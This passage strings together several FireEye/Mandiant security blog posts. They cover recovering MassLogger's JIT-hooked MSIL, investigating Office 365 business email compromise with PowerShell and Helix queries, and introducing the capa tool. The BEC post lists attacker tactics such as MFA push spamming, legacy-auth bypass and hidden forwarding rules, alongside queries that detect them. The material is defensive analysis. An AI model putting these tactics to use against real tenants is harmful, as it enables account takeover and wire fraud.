Figure 11: compileMethod() function protype

Figure 12 shows the CORINFO_METHOD_INFO structure.

 struct CORINFO_METHOD_INFO {       CORINFO_METHOD_HANDLE       ftn;       CORINFO_MODULE_HANDLE       scope;       BYTE *                      ILCode;       unsigned                    ILCodeSize;       unsigned                    maxStack;       unsigned                    EHcount;       CorInfoOptions              options;       CorInfoRegionKind           regionKind;       CORINFO_SIG_INFO            args;       CORINFO_SIG_INFO            locals; };

Figure 12: CORINFO_METHOD_INFO structure

The ILCode is a pointer to the MSIL of the method to compile, and the ILCodeSize tells us how long the MSIL is. The return value of compileMethod() is an error code indicating success or failure. In case of success, the nativeEntry pointer is populated with the address of the executable memory region containing the x86 or the x64 instruction that is compiled from the MSIL.

#### MassLogger JIT Hooking

Let’s come back to MassLogger. As soon as the main module initialization runs, it first decrypts MSIL of the other methods. It then installs a hook to execute its own version of compileMethod() (method 0x06000499). This method replaces the ILCode and ILCodeSize fields of the info argument to the original compileMethod() with the real malware’s MSIL bytes.

In addition to replacing the MSIL bytes, MassLogger also patches the method body header at module initialization time. As seen from Figure 13, the method body header of method 0x060003DD on disk (at file offset 0x3CE0) is different from the header in memory (at RVA 0x5AE0). The only two things remaining quite consistent are the least significant two bits indicating whether the method is tiny or fat. To successfully defeat this anti-analysis technique, we must recover the real MSIL bytes as well as the correct method body headers.

Figure 13: Same method body with different headers when resting on disk vs. loaded in memory

#### Defeating JIT Method Body Replacement With JITM

To automatically recover the MSIL and the method body header, one possible approach suggested by another FLARE team member is to install our own hook at compileMethod() function before loading and allowing the MassLogger module constructor to run.  There are multiple tutorials and open-sourced projects on hooking compileMethod() using both managed hooks (the new compileMethod() is a managed method written in C#) and native hooks (the new compileMethod() is native and written in C or C++). However, due to the unique way MassLogger hooks compileMethod(), we cannot use the vtable hooking technique implemented by many of the aforementioned projects. Therefore, I’d like to share the following project: JITM, which is designed use inline hooking implemented by PolyHook library. JITM comes with a wrapper for compileMethod() which logs all the method body headers and MSIL bytes to a JSON file before calling the original compileMethod().

In addition to the hook, JITM also includes a .NET loader. This loader first loads the native hook DLL (jitmhook.dll) and installs the hook. The loader then loads the MassLogger payload and executes its entry point. This causes MassLogger’s module initialization code to execute and install its own hook, but hooking jitmhook.dll code instead of the original compileMethod(). An alternative approach to executing MassLogger’s entry point is to call the RuntimeHelpers.PrepareMethod() API to force the JIT compiler to run on all methods. This approach is better because it avoids running the malware, and it potentially can recover methods not called in the sample’s natural code path. However, additional work is required to force all methods to be compiled properly.

To load and recover MassLogger methods, first run the following command (Figure 14):

 jitm.exe Bin-123.exe [optional_timeout]

Figure 14: Command to run jitm

Once the timeout expires, you should see the files jitm.log and jitm.json created in the current directory. jitm.json contains the method tokens, method body headers and MSIL bytes of all methods recovered from Bin-123.exe. The only thing left to do is to rebuild the .NET metadata so we can perform static analysis.

Figure 15: Sample jitm.json

#### Rebuilding the Assembly

Since the decrypted method body headers and MSIL bytes may not fit in the original .NET assembly properly, the easiest thing to do is to add a new section and a section header to MassLogger. There are plenty of resources on how to add a PE section header and data, none of which is trivial or easy to automate. Therefore, JITM also include the following Python 2.7 helper script to automate this process: Scripts\addsection.py.

With the method body header and MSIL of each method added to a new PE section as shown in Figure 16, we can easily parse the .NET metadata and fix each method’s RVA to point to the correct method body within the new section. Unfortunately, I did not find any Python library to easily parse the .NET metadata and the MethodDef table. Therefore, JITM also includes a partially implemented .NET metadata parser: Script\pydnet.py. This script uses pefile and vivisect modules and parses the PE file up to the Method table to extract all methods and their associated RVAs.

Figure 16: Bin-123.exe before and after adding an additional section named FLARE

Finally, to tie everything together, JITM provides Script\fix_assembly.py to perform the following tasks:

1. Write the method body header and MSIL of each method recovered in jitm.json into a temporary binary file named “section.bin” while at the same time remember the associated method token and the offset into section.bin.
2. Use addsection.py to add section.bin into Bin-123.exe and save the data into a new file, e.g. Bin-123.fixed.exe.
3. Use pydnet.py to parse Bin-123.fixed.exe and update the RVA field of each method entry in the MethodDef table to point to the correct RVA into the new section.

The final result is a partially reconstructed .NET assembly. Although additional work is necessary to get this assembly to run correctly, it is good enough to perform static analysis to understand the malware’s high-level functionalities.

Let’s look at the reconstructed method 0x0600043E that implements the decryption logic for the malware configuration. Compared to the original MSIL, the reconstructed MSIL now shows that the malware uses AES-256 in CBC mode with PKCS7 padding. With a combination of dynamic analysis and static analysis, we can also easily identify the key to be “Vewgbprxvhvjktmyxofjvpzgazqszaoo” and the IV to be part of the Base64-encoded buffer passed in as its argument.

Figure 17: Method 0x0600043 before and after fixing the assembly

Armed with that knowledge, we can write a simple tool to decrypt the malware configuration and recover all HBIs and NBIs (Figure 18).

Figure 18: Decrypted configuration

#### Conclusion

Using a JIT compiler hook to replace the MSIL is a powerful technique that makes static analysis almost impossible. Although this technique is not new, I haven’t seen many .NET malwares making use of it, let alone trying to implement their own adaptation instead of using widely available protectors like ConfuserEx. Hopefully, with this blog post and , analysts will now have the tools and knowledge to defeat MassLogger or any future variants that use a similar technique.

If this is the type of work that excites you; and, if you thrive to push the state of the art when it comes to malware analysis and reverse engineering, the Front Line Applied Research and Expertise (FLARE) team may be a good place for you. The FLARE team faces fun and exciting challenges on a daily basis; and we are constantly looking for more team members to tackle these challenges head on. Check out FireEye’s career page to see if any of our opportunities would be a good fit for you.

#### Contributors (Listed Alphabetically)

• Tyler Dean (@spresec): Technical review of the post
• Michael Durakovich: Technical review of the post
• Stephen Eckels (@stevemk14ebr): Help with porting JITM to use PolyHook
• Jon Erickson (@evil-e): Technical review of the post
• Moritz Raabe (@m_r_tz): Technical review of the post

# Repurposing Neural Networks to Generate Synthetic Media for Information Operations

FireEye’s Data Science and Information Operations Analysis teams released this blog post to coincide with our Black Hat USA 2020 Briefing, which details how open source, pre-trained neural networks can be leveraged to generate synthetic media for malicious purposes. To summarize our presentation, we first demonstrate three successive proof of concepts for how machine learning models can be fine-tuned in order to generate customizable synthetic media in the text, image, and audio domains. Next, we illustrate examples in which synthetically generated media have been weaponized for information operations (IO), as detected on the front lines by Mandiant Threat Intelligence. Finally, we outline challenges in detecting synthetically generated content, and lay out potential paths forward in a future where synthetically generated media will increasingly look, speak, and write like us.

 Highlights Open source, pre-trained natural language processing, computer vision, and speech recognition neural networks can be weaponized for offensive social media-driven IO campaigns. Detection, attribution, and response is challenging in scenarios where actors can anonymously generate and distribute credible fake content using proprietary training datasets. The security community can and should help AI researchers, policy makers, and other stakeholders mitigate the harmful use of open source models.

Synthetic media is by no means a new development; methods for manipulating media for specific agendas are as old as the media themselves. In the 1930’s, the chief of the Soviet secret police was photographed walking alongside Joseph Stalin before being retouched out of an official press photo, after he himself was arrested and executed during the Great Purge. Digital graphic manipulation like this became prominent with the advent of Photoshop. Then later in the 2010’s, the term “deepfake” was coined. While deepfake videos, including techniques like face swapping and lip syncing, are concerning in the long term, this blog post focuses on more basic, but we argue more believable, synthetic media generation advancements in the text, static image, and audio domains. Machine learning approaches for creating synthetic media are underpinned by generative models, which have been effectively misused to fabricate high volume submissions to federal public comment websites and clone a voice to trick an executive into handing over 240,000. The pre-training required to produce models capable of synthetic media generation can cost thousands of dollars, take weeks or months of time, and require access to expensive GPU clusters. However, the application of transfer learning can drastically reduce the amount of time and effort involved. In transfer learning, we start from a large generic model that has been pre-trained for an initial task where copious data is available. We then leverage the model’s acquired knowledge to train it further on a different, smaller dataset so that it excels at a subsequent, related task. This process of training the model further is referred to as fine-tuning, which typically requires less resources compared to pre-training from scratch. You can think of this in more relatable terms—if you’re a professional tennis player, you don’t need to completely relearn how to swing a racket in order to excel at badminton. # Announcing the Seventh Annual Flare-On Challenge The Front Line Applied Research & Expertise (FLARE) team is honored to announce that the popular Flare-On challenge will return for a triumphant seventh year. Ongoing global events proved no match against our passion for creating challenging and fun puzzles to test and hone the skills of aspiring and experienced reverse engineers. The contest will begin at 8:00 p.m. ET on Sept. 11, 2020. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 23, 2020. This year’s contest features a total of 11 challenges in a variety of formats, including Windows, Linux, Python, VBA and .NET. This is one of the only Windows-centric CTF contests out there and we have crafted it to closely represent the challenges faced by our FLARE team on a daily basis. If you are skilled and dedicated enough to complete the seventh Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. In previous years we sent out belt buckles, replica police badges, challenge coins, medals and huge pins. Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon7. # Obscured by Clouds: Insights into Office 365 Attacks and How Mandiant Managed Defense Investigates With Business Email Compromises (BECs) showing no signs of slowing down, it is becoming increasingly important for security analysts to understand Office 365 (O365) breaches and how to properly investigate them. This blog post is for those who have yet to dip their toes into the waters of an O365 BEC, providing a crash course on Microsoft’s cloud productivity suite and its assortment of logs and data sources useful to investigators. We’ll also go over common attacker tactics we’ve observed while responding to BECs and provide insight into how Mandiant Managed Defense analysts approach these investigations at our customers using PowerShell and the FireEye Helix platform. #### Office 365 Office 365 is Microsoft’s cloud-based subscription service for the Microsoft Office suite. It is built from dozens of applications tightly embedded into the lives of today’s workforce, including: • Exchange Online, for emails • SharePoint, for intranet portals and document sharing • Teams and Skype for Business, for instant messaging • OneDrive, for file sharing • Microsoft Stream, for recorded meetings and presentations As more and more organizations decide to adopt Microsoft’s cloud-based offering to meet their needs, unauthorized access to these O365 environments, or tenants in Microsoft’s parlance, has become increasingly lucrative to motivated attackers. The current high adoption rate of O365 means that attackers are getting plenty of hands on experience with using and abusing the platform. While many tactics have remained largely unchanged in the years since we’ve first observed them, we’ve also witnessed the evolution of techniques that are effective against even security-conscious users. In general, the O365 compromises we’ve responded to have fallen into two categories: • Business Email Compromises (BECs) • APT or state-sponsored intrusions Based on our experience, BECs are a common threat to any organization's O365 tenant. The term “BEC” typically refers to a type of fraud committed by financially motivated attackers. BEC actors heavily rely on social engineering to carry out their schemes, ultimately defrauding organizations and even personnel. One common BEC scheme involves compromising a C-suite executive’s account via phishing. Once the victim unwittingly enters their credentials into a web form masquerading as the legitimate Office 365 login portal, attackers log in and instruct others in the organization to conduct a wire transfer, perhaps under the guise of an upcoming acquisition that has yet to be publicly announced. However, we’ve also observed more effective schemes where attackers compromise those in financial positions and patiently wait until an email correspondence has begun about a due payment. Attackers seize this opportunity by sending a doctored invoice (sometimes based on a legitimate invoice that had been stolen earlier) on behalf of the compromised user to another victim responsible for making payments. These emails are typically hidden from the compromised user due to attacker-created Outlook mailbox rules. Often times, by the time the scheme is inevitably discovered and understood days or weeks later, the money is unrecoverable—highlighting the importance of contacting law enforcement immediately if you’ve fallen victim to a fraud. The personal finances of staff aren’t off limits to attackers either. We’ve observed several cases of W-2 scams, in which attackers send a request to HR for W-2 information from the victim’s account. Once obtained, this personally identifiable information is later used to conduct tax fraud. Conversely, APT intrusions are typically more sophisticated and are conducted by state-sponsored threat actors. Rather than for financial gain, APT actors are usually tasked to compromise O365 tenants for purposes of espionage, data theft, or destruction. Given the wealth of sensitive information housed in any given organization’s O365 tenant, APT actors may not even need to touch a single endpoint to complete their mission, sidestepping the many security controls organizations have implemented and invested in. #### O365 Logs and Data Sources In this section, we’ll touch on the multitude of logs and portals containing forensic data relevant to an O365 investigation. Before we can begin investigating an O365 case, we’ll work with our clients to get an “Investigator” account provisioned with the roles required to obtain the forensic data we need. For the purposes of this blog post, we’ll quickly list the roles needed for an Investigator account, but during an active Managed Defense investigation, a designated Managed Defense consultant will provide further guidance on account provisioning. At a minimum, the Investigator account should have the following roles: Exchange Admin Roles • View-only audit logs • View-only configuration • View-only recipients • Mailbox Search • Message Tracking eDiscovery Rights • eDiscovery Manager role Azure Active Directory Roles • Global Reader Unified Audit Log (UAL) The Unified Audit Log records activity from various applications within the Office 365 suite, and can be considered O365’s main log source. Entries in the UAL are stored in JSON format. We recommend using the PowerShell cmdlet Search-UnifiedAuditLog to query the UAL as it allows for greater flexibility, though it can also be acquired from the Office 365 Security & Compliance Center located at protection.office.com. In order to leverage this log source (and the Admin Audit Log), ensure that the Audit Log Search feature is enabled. The UAL has a few nuances that are important to consider. While it provides a good high-level summary of activity across various O365 applications, it won’t log comprehensive mailbox activity (for that, acquire the Mailbox Audit Log). Furthermore, the UAL has a few limitations, namely: • Results to a single query are limited to 5000 results • Only 90 days of activity are retained • Events may take up to 24 hours before they are searchable Mailbox Audit Log (MAL) The Mailbox Audit Log, part of Exchange Online, will capture additional actions performed against objects within a mailbox. As such, it’s a good idea acquire and analyze the MAL for each affected user account with the PowerShell cmdlet Search-MailboxAuditLog. Note that entries in the MAL will be retained for 90 days (by default) and timestamps will be based on the user’s local time zone. The MAL’s retention time can always be increased with the PowerShell cmdlet Set-Mailbox along with the AuditLogAgeLimit parameter. At the time of writing this post, Microsoft has recently released information about enhanced auditing functionality that gives investigators insight into which emails were accessed by attackers. This level of logging for regular user accounts is only available for organizations with an Office 365 E5 subscription. Once Advanced Auditing is enabled, mail access activity will be logged under the MailItemsAccessed operation in both the UAL and MAL. Administrator Audit Log If the Audit Log Search feature is enabled, this supplemental data source logs all PowerShell administrative cmdlets (including command-line arguments) executed by administrators. If you suspect that an administrator account was compromised, don’t overlook this log! The PowerShell cmdlet Search-AdminAuditLog is used to query these logs, but note that the Audit Log Search feature must be enabled and the same 90 day retention limit will be in place. Azure AD Logs Azure AD logs can be accessed from the Azure portal (portal.azure.com) under the Azure Active Directory service. Azure AD Sign-in logs contain detailed information about how authentications occur and O365 application usage. Azure AD audit logs are also a valuable source of information, containing records of password resets, account creations, role modifications, OAuth grants, and more that could be indicative of suspicious activity. Note that Azure AD logs are only available for 30 days. Cloud App Security Portal For cases where OAuth abuse has been observed, information about cloud applications can be found in Microsoft’s Cloud App Security portal (portal.cloudappsecurity.com). Access to this portal requires an E5 license or a standalone Cloud App license. For more background on OAuth abuse, be sure to check out our blog post: Shining a Light on OAuth Abuse with PwnAuth. Message Traces Message traces record the emails sent and received by a user. During an investigation, run reports on any email addresses of interest. The message trace report will contain detailed mail flow information as well as subject lines, original client IP addresses, and message sizes. Message traces are useful for identifying emails sent by attackers from compromised accounts, and can also aid in identifying initial phishing emails if phishing was used for initial access. To obtain the actual emails, use the Content Search tool. Only the past 10 days of activity is available with the Get-MessageTrace PowerShell cmdlet. Historical searches for older messages can be run with the Get-HistoricalSearch cmdlet (up to 90 days by default), but historical searches typically take hours for the report to be available. Historical reports can also be generated within the Security and Compliance Center. eDiscovery Content Searches The Content Search tool allows investigators to query for emails, documents, and instant message conversations stored in an Office 365 tenant. We frequently run Content Search queries to find and acquire copies of emails sent by attackers. Content searches are limited to what has been indexed by Microsoft, so recent activity may not immediately appear. Additionally, only the most recent 1000 items will be shown in the preview pane. #### Anatomy of an O365 BEC As mentioned earlier, BECs are one of the more prevalent threats to O365 tenants seen by Managed Defense today. Sometimes, Mandiant analysts respond to several BEC cases at our customers within the same week. With this frontline experience, we’ve compiled a list of commonly observed tactics and techniques to advise our readers about the types of activities one should anticipate. Please note that this is by no means a comprehensive list of O365 attacks, rather a focus on the usual routes we’ve seen BEC actors take to accomplish their objective. Phase 1: Initial Compromise • Phishing: Emails with links to credential harvesting forms sent to victims, sometimes from the account of a compromised business partner. • Brute force: A large dictionary of passwords attempted against an account of interest. • Password spray: A dictionary of commonly used passwords attempted against a list of known user accounts. • Access to credential dump: Valid credentials used from a previous compromise of the user. • MFA bypasses: Use of mail clients leveraging legacy authentication protocols (e.g. IMAP/POP), which bypass MFA policies. Attackers may also spam push notifications to the victim by repeatedly attempting to log in, eventually leading to the victim mistakenly accepting the prompt. Phase 2: Establish Foothold • More phishing: Additional phishing lures sent to internal/external contacts from Outlook’s global address list. • More credible lures: New phishing lures uploaded to the compromised user's OneDrive or SharePoint account and shared with the victim’s coworkers. • SMTP forwarding: SMTP forwarding enabled in the victim’s mailbox to forward all email to an external address. • Forwarding mailbox rules: Mailbox rules created to forward all or certain mail to an external address. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail will continue to sync for a short while after a password reset occurs. Phase 3: Evasion • Evasive mailbox rules: Mailbox rules created to delete mail or move some or all incoming mail to uncommonly used folders in Outlook, such as “RSS Subscriptions”. • Manual evasion: Manual deletion of incoming and sent mail. Attackers may forego mailbox rules entirely. • Mail forwarding: Attackers accessing emails without logging in if a mechanism to forward mail to an external address was set up earlier. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later. • VPN usage: VPN servers, sometimes with similar geolocations to their victims, used in an attempt to avoid detection and evade conditional access policies. Phase 4: Internal Reconnaissance • Outlook searching: The victim’s mailbox queried by attackers for emails of interest. While not recorded in audit logs, it may be available to export if it was not deleted by attackers. • O365 searching: Searches conducted within SharePoint and other O365 applications for content of interest. While not recorded in audit logs, SharePoint and OneDrive file interactions are recorded in the UAL. • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later. Phase 5: Complete Mission • Direct deposit update: A request sent to the HR department to update the victim’s direct deposit information, redirecting payment to the BEC actor. • W-2 scam: A request sent to the HR department for W-2 forms, used to harvest PII for tax fraud. • Wire transfer: A wire transfer requested for an unpaid invoice, upcoming M&A, charities, etc. • Third-party account abuse: Abuse of the compromised user’s privileged access to third-party accounts and services, such as access to a corporate rewards site. #### How Managed Defense Responds to O365 BECs In this section, we’re going to walk through how Managed Defense investigates a typical O365 BEC case. Many of the steps in our investigation rely on querying for logs with PowerShell. To do this, first establish a remote PowerShell session to Exchange Online. The following Microsoft documentation provides guidance on two methods to do this: Broad Scoping We start our investigations off by running broad queries against the Unified Audit Log (UAL) for suspicious activity. We’ll review OAuth activity too, which is especially important if something more nefarious than a financially motivated BEC is suspected. Any FireEye gear available to us—such as FireEye Helix and Email Security—will be leveraged to augment the data available to us from Office 365. The following are a few initial scoping queries we’d typically run at the beginning of a Managed Defense engagement. Scoping Recent Mailbox Rule Activity Even in large tenants, pulling back all recent mailbox rule activity doesn’t typically produce an unmanageable number of results, and attacker-created rules tend to stand out from the rest of the noise. Querying UAL for all mailbox rule activity in Helix:  class=ms_office365 action:[New-InboxRule, Set-InboxRule, Enable-InboxRule] | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Query UAL for new mail rule activity in PowerShell:  Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -Operations "New-InboxRule","Set-InboxRule","Enable-InboxRule" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Scoping SMTP Forwarding Activity SMTP forwarding is sometimes overlooked because it appears under a UAL operation separate from mailbox rules. This query looks for the Set-Mailbox operation containing a parameter to forward mail over SMTP, indicative of automatic forwarding being enabled from OWA. Querying UAL for SMTP forwarding in Helix:  class=ms_office365 action=Set-Mailbox rawmsg:ForwardingSmtpAddress | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Querying UAL for SMTP forwarding in PowerShell:  Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -FreeText "ForwardingSmtpAddress" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Analyze Compromised Users Logs After we’ve finished scoping the tenant, we’ll turn our attention to the individual users believed to be involved in the compromise. We’ll acquire all relevant O365 logs for the identified compromised user(s) - this includes the user's UAL, Mailbox Audit Log (MAL), and Admin audit log (if the user is an administrator). We’ll review these logs for anomalous account activity and assemble a list of attacker IP addresses and User-Agents strings. We’ll use this list to further scope the tenant. O365 investigations rely heavily on anomaly detection. Many times, the BEC actor may even be active at the same time as the user. In order to accurately differentiate between legitimate user activity and attacker activity within a compromised account, it's recommended to pull back as much data as possible to use as a reference for legitimate activity. Using the Helix query transforms groupby < [srccountry,srcregion], groupby < useragent and groupby < srcipv4 , which highlight the least common geolocations, User Agent strings, and IP addresses, can also assist in identifying anomalies in results. Querying UAL for a user in Helix:  class=ms_office365 username=user@client.com | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby < [srccountry,srcregion] Querying UAL for a user in PowerShell:  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -UserIds user@client.com | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying MAL for a user in PowerShell:  Search-MailboxAuditLog -Identity user@client.com -LogonTypes Owner,Delegate,Admin -ShowDetails -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying Admin Audit Log for all events within a certain date in PowerShell:  Search-AdminAuditLog -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Query UAL with New Leads Now that we’ve built a list of suspicious IP addresses (or even entire CIDR ranges) and User-Agent strings, we’ll run new queries against the entire UAL to try to identify other compromised user accounts. We’ll repeat this step and the previous step for each newly identified user account. One advantage to using FireEye Helix platform over PowerShell is that we can query entire CIDR ranges. This is helpful when we observe attackers coming from a VPN or ISP that dynamically assigns IP addresses within the same address block. Queries for attacker User-Agent strings usually generate more noise to sift through than IP address searches. In practice, User-Agent queries are only beneficial if the attackers are using an uncommon browser or version of a browser. Due to limitations of the Search-UnifiedAuditLog cmdlet, we’ve had the most success using the FreeText parameter and searching for simple strings. In Helix:  class=ms_office365 (srcipv4:[1.2.3.4, 2.3.4.0/24] OR useragent:Opera) | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby username Querying the UAL for IPs and user agents in PowerShell:  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -IPAddresses 1.2.3.4, 2.3.4.5 | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -FreeText "Opera" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Analyze Message Traces We’ll use PowerShell to query message traces for the compromised users we’ve identified. If the email was sent within the past 10 days, use the Get-MessageTrace cmdlet, which immediately returns results and allows teams to query IP addresses. For older emails, use the Start-HistoricalSearch cmdlet and download the report later from the Mail Flow section of the Security & Compliance center. Querying for the last 10 days of mail sent by the victim in PowerShell:  Get-MessageTrace -StartDate (Get-Date).AddDays(-10) -EndDate (Get-Date) -SenderAddress victim@client.com | Select-Object Received, SenderAddress, RecipientAddress, Subject, Status, FromIP, Size, MessageID | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying for older emails (up to 90 days) in PowerShell:  Start-HistoricalSearch -ReportTitle "Mandiant O365 investigation" -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy -ReportType MessageTraceDetail -SenderAddress victim@client.com As Message Trace results are reviewed, attention should be given to IP addresses to determine which emails were sent by attackers. If phishing was the suspected initial compromise vector, it’s a good idea to also query for incoming mail received within a few days prior to the first compromise date and look for suspicious sender addresses and/or subject lines. Acquire Emails of Interest With our list of suspicious emails identified from message traces, we’ll use the Content Search tool available in the Office 365 Security and Compliance Center acquire the email body and learn what domains were used in phishing lures (if phishing was present). Content Searches are performed by using a straightforward GUI, and the results can either be previewed in the browser, downloaded individually as EML files, or downloaded in bulk as PST files. Final Scoping At this point of our investigation, the BEC should be sufficiently scoped within the tenant. To ensure any follow-on activity hasn’t occurred, we’ll take all of the attack indicators and perform our final queries across the UAL. With that said, there are still edge cases in which attacker activity wouldn’t appear in O365 logs. For example, perhaps an additional user has submitted their credentials to a phishing page, but the attackers haven’t used them to log in yet. To ensure we don’t miss this activity, we’ll perform additional scoping across available network logs, specifically for IP addresses and domains related to the attacker’s phishing infrastructure. We’ll also leverage other FireEye products, such as the Endpoint Security platform, to search for phishing domains present on a host’s web browser history. #### Conclusion Unauthorized access to O365 tenant doesn’t just pose a threat to an organization, but also to its staff and business partners. Organizations without enhanced security controls in O365 are at the greatest risk of experiencing a BEC. However, as multi factor-authentication becomes more and more commonplace, we’ve witnessed an increase of MFA bypass attempts performed by increasingly proficient attackers. It’s important to remember that social engineering plays a primary role throughout a BEC. Ensure that users are trained on how to identify credential harvesting forms, a common compromise vector. When in the midst of a BEC compromise, teams may want to promptly alert personnel in HR and finance-related roles to exercise extra caution when processing requests related to banking or wire transfers while the investigation is in progress. The examples covered in this blog post are just a sample of what Managed Defense performs while investigating an Office 365 compromise. To take a proactive approach at preventing BECs, make sure the following best practices are implemented in a O365 tenant. Additionally, FireEye Email Security offers protections against phishing and the Helix platform’s O365 ruleset can alert on anomalous activity as soon as it happens. #### Recommended Best Practices • Ensure mailbox audit logging is enabled on all accounts • Disable Legacy Authentication protocols • Enable multi-factor authentication (MFA) • Enforce strong passwords and a password expiration policy • Forward O365 audit logs to a centralized logging platform for extended retention • Enforce an account lockout policy in Azure/on-premise Active Directory • Restrict mail forwarding to external domains #### Acknowledgements Special thanks to Doug Bienstock, Glenn Edwards, Josh Madeley, and Tim Martin for their research and assistance on the topic. # ‘Ghostwriter’ Influence Campaign: Unknown Actors Leverage Website Compromises and Fabricated Content to Push Narratives Aligned With Russian Security Interests Mandiant Threat Intelligence has tied together several information operations that we assess with moderate confidence comprise part of a broader influence campaign—ongoing since at least March 2017—aligned with Russian security interests. The operations have primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe, occasionally leveraging other themes such as anti-U.S. and COVID-19-related narratives as part of this broader anti-NATO agenda. We have dubbed this campaign “Ghostwriter.” Many, though not all of the incidents we suspect to be part of the Ghostwriter campaign, appear to have leveraged website compromises or spoofed email accounts to disseminate fabricated content, including falsified news articles, quotes, correspondence and other documents designed to appear as coming from military officials and political figures in the target countries. This falsified content has been referenced as source material in articles and op-eds authored by at least 14 inauthentic personas posing as locals, journalists and analysts within those countries. These articles and op-eds, primarily written in English, have been consistently published to a core set of third-party websites that appear to accept user-submitted content, most notably OpEdNews.com, BalticWord.com, and the pro-Russian site TheDuran.com, among others, as well as to suspected Ghostwriter-affiliated blogs. Some of these incidents and personas have received public attention from researchers, foreign news outlets, or government entities in Lithuania and Poland, but have not been tied to a broader activity set. Others have received little attention and remain relatively obscure. Mandiant Threat Intelligence has independently discovered several Ghostwriter personas and identified additional incidents involving some of those personas previously exposed. We believe the assets and operations discussed in this report are for the first time being collectively tied together and assessed to comprise part of a larger, concerted and ongoing influence campaign. Read the report today to learn more. # Unique Threats to Operational Technology and Cyber Physical Systems In this latest episode of our Eye on Security podcast, I talk all about the world of operational technology (OT) and cyber physical systems with one of our foremost experts on the topic: Nathan Brubaker, Senior Manager of Analysis for Mandiant Threat Intelligence. Nathan kicked off our chat by explaining what exactly we mean when we use the term ‘cyber physical.’ We then turned our attention to related threats. As it turns out, there are far less attempts by attackers to target these systems than one might believe. Nathan went on to discuss some of the fundamental differences between OT and information technology (IT) systems, and then explained how OT is becoming more similar to IT, which makes OT systems more vulnerable to compromise. Fortunately, even though OT security typically lags behind that of IT systems, it’s definitely moving in the right direction. Listen to the podcast today, and check out the following blog posts referenced by Nathan during the episode: # capa: Automatically Identify Malware Capabilities capa is the FLARE team’s newest open-source tool for analyzing malicious programs. Our tool provides a framework for the community to encode, recognize, and share behaviors that we’ve seen in malware. Regardless of your background, when you use capa, you invoke decades of cumulative reverse engineering experience to figure out what a program does. In this post you will learn how capa works, how to install and use the tool, and why you should integrate it into your triage workflow starting today. #### Problem Effective analysts can quickly understand and prioritize unknown files in investigations. However, determining if a program is malicious, the role it plays during an attack, and its potential capabilities requires at least basic malware analysis skills. And often, it takes an experienced reverse engineer to recover a file’s complete functionality and guess at the author’s intent. Malware experts can quickly triage unknown binaries to gain first insights and guide further analysis steps. Less experienced analysts, on the other hand, oftentimes don’t know what to look for and have trouble distinguishing the usual from the unusual. Unfortunately, common tools like strings / FLOSS or PE viewers display the lowest level of detail, burdening their users to combine and interpret data points. #### Malware Triage 01-01 To illustrate this, let us look at Lab 01-01 from Practical Malware Analysis (PMA) available here. Our goal is to understand the program’s functionality. Figure 1 shows the file’s strings and import table with interesting values highlighted. Figure 1: Interesting strings and import information of example malware from PMA Lab 1-1 With this data, reverse engineers can hypothesize about the strings and imported API functions to guess at the program’s functionality—but no more. The sample may create a mutex, start a process, or communicate over the network—potentially to IP address 127.26.152.13. The Winsock (WS2_32) imports make us think about network functionality, but the names are not available here because they are, as is common, imported by ordinal. Dynamically analyzing this sample can confirm or disprove initial suspicions and reveal additional functionality. However, sandbox reports or dynamic analysis tools are limited to capturing behavior from the exercised code paths. This, for example, excludes any functionality triggered after a successful connection to the command and control (C2) server. We don’t usually recommend analyzing malware with a live Internet connection. To really understand this file, we need to reverse engineer it. Figure 2 shows IDA Pro’s decompilation of the program’s main function. While we use the decompilation instead of disassembly to simplify our explanation, similar concepts apply to both representations. Figure 2: Key functionality in the decompiled main function of PMA Lab 1-1 With a basic understanding of programming and the Windows API, we observe the following functionality. The malware: • creates a mutex to ensure only one instance is running • creates a TCP socket; indicated by the constants 2 = AF_INET, 1 = SOCK_STREAM, and 6 = IPPROTO_TCP • connects to IP address 127.26.152.13 on port 80 • sends and receives data • compares received data to the strings sleep and exec • creates a new process Although not every code path may execute on each run, we say that the malware has the capability to execute these behaviors. And, by combining the individual conclusions, we can reason that the malware is a backdoor that can run an arbitrary program specified by a hard-coded C2 server. This high-level conclusion enables us to scope an investigation and decide how to respond to the threat. #### Automating Capability Identification Of course, malware analysis is rarely as straight forward. The artifacts of intent may be spread through a binary that contains hundreds or thousands of functions. Furthermore, reverse engineering has a fairly steep learning curve and requires solid understanding of many low-level concepts such as assembly language and operating system internals. However, with enough practice, we can recognize capabilities in programs simply from repetitive 